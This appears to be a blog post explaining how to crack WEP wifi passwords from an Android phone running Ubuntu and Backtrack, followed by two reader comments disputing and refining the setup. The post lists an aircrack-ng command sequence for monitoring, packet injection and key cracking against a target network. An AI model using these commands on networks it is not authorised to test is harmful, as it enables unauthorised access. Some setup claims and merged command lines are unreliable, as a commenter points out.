Crack WEP Wifi password Samsung Galaxy S2 or Android Phone WPA

Before I start, the topics discussed in this post is for educational purposes only. Please don’t misuse this information as it might be illegal in your country. Also this post is not newbie friendly, you will have to search and find some tools and procedures to install them.

For this post I will be using the Samsung Galaxy S2 which is a very popular android phone. You can obtain similar results with other phone. Please search the respective phone forums in xda developers to get Ubuntu running on your phone.

To crack the wifi password we need backtrack which runs on Ubuntu. So our first priority is to get Ubuntu running. There is a good post on how to run Ubuntu on Samsung Galaxy S2 at xda, other phone users search for it. With the terminal emulator running enter the commands as shown in the guide. Press the home button, start VNC viewer and connect with the settings.

Once we have Ubuntu running, download and install Backtrack. There are many guides on the internet on how to accomplish this

Commands to use in order

  • airmon-ng
  • airmon-ng ѕtаrt wlan0
  • airodump-ng mon0
  • airodump-ng -c (channel) -w (file name) –bssid (bssid) mon0 aireplay-ng -1 0 -a (bssid) mon0
  • aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b (bssid) mon0 aircrack-ng (filename)*.cap

    This is ridiculous?! Do you have any clue what you’re talking about? Backtrack is an operating system which most definately doesnt run on ubuntu simply because operating systems can not run within operating systems unless an emulator such as VMware is used. I’m not even bothered begin correcting you any further.


    Best option for most would be to chroot. It barely works, though; no monitor mode.

    The best options in term of practicality is to use the BT5 Arm Image, put the filesystem on a separate partition or card. Then, compile a custom kernel which allows monitor mode, and enter your parameters for your bt5 root directory. It’s what I use on my Iconia, pretty amazing stuff.
